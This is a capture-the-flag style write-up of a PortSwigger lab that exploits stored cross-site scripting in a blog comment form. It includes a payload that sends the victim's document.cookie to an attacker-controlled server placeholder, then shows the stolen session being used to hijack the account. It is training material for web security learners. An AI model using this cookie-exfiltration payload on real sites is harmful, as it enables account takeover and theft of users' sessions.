# 22) Exploiting cross-site scripting to steal cookies

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FENNyx5UavIIclku0aziF%2Fimage.png?alt=media&#x26;token=84f5062b-5e5a-4c11-bad3-6915223710b5" alt=""><figcaption></figcaption></figure></div>

#### Locate possible injection points

As usual the first step is to analyse the application, we have comment form so we fill it with random string like **xxxx** then open the developer tools and find where the user input is located in the html

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FVhl8B4sKArNTSmi1Lec2%2Fimage.png?alt=media&#x26;token=9f32ac27-0d99-4f05-bc0b-b2104f80d92e" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FJooe4FRmwIoOANLdTDI4%2Fimage.png?alt=media&#x26;token=2fef1f21-a91f-4c14-a874-e7e8a9bdf134" alt=""><figcaption></figcaption></figure></div>

let's try to inject a simple img payload in the comment field and try to trigger an alert

payload  => **`<img src=x onerror=alert(1)>`**

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FjYhkCHBqpHvCsRWrsXFc%2Fimage.png?alt=media&#x26;token=9a0918d9-2044-4ea2-a9f8-360fc3951853" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FlfFJlkAKnVwO0Z1vEZk9%2Fimage.png?alt=media&#x26;token=fdd71dd9-6932-41a7-a513-183c412a8d1e" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FeWqZQFXWlZcflHF1orFF%2Fimage.png?alt=media&#x26;token=3dc8550e-2e13-43e2-96ad-c84135bf6e94" alt=""><figcaption></figcaption></figure></div>

now let's open burp suite collaborator

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FDLpENoLs3jA7d4M3Qhx8%2Fimage.png?alt=media&#x26;token=3f9d347c-6a4a-4378-8f78-dc7d7d68b3a6" alt=""><figcaption></figcaption></figure></div>

```html
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
```

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FG5JcrF2IxblxkAt8NghI%2Fimage.png?alt=media&#x26;token=afae38e7-3de2-40de-899e-bf31f6039b77" alt=""><figcaption></figcaption></figure></div>

This payoad will make anyone who views the comment issue a Get request containing their cookie to your subdomain in the `urlSearchParam c` on the public Collaborator server.

if the collaborator didn't poll automatically make sure to click on `Poll now`

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2Fnpl0eVNLQIE8myKyy1Jg%2Fimage.png?alt=media&#x26;token=39c74ae8-6fa0-4829-8380-188f654c6db0" alt=""><figcaption></figcaption></figure></div>

so this is the session

```
zO3ZD5fvkLh3kA55da9fHJXdGMqXePrg
```

make sure to edit the session with the stolen one and save the edit, i used the Cookie Editor Extension you can use the devtools if you prefer

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FB5ZbbadHJ0pZRYer0sS8%2Fimage.png?alt=media&#x26;token=818e78a3-1d4e-4977-ae09-2a9803a3c98b" alt=""><figcaption></figcaption></figure></div>

now refresh the page with the hijacked session, and the lab is solved

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2Fu7n3QNqbwje3c08gaUFI%2Fimage.png?alt=media&#x26;token=f515f9b5-53d1-433b-adc6-05f333468afc" alt=""><figcaption></figcaption></figure></div>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://sayonara.gitbook.io/writeups/portswigger/xss/22-exploiting-cross-site-scripting-to-steal-cookies.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
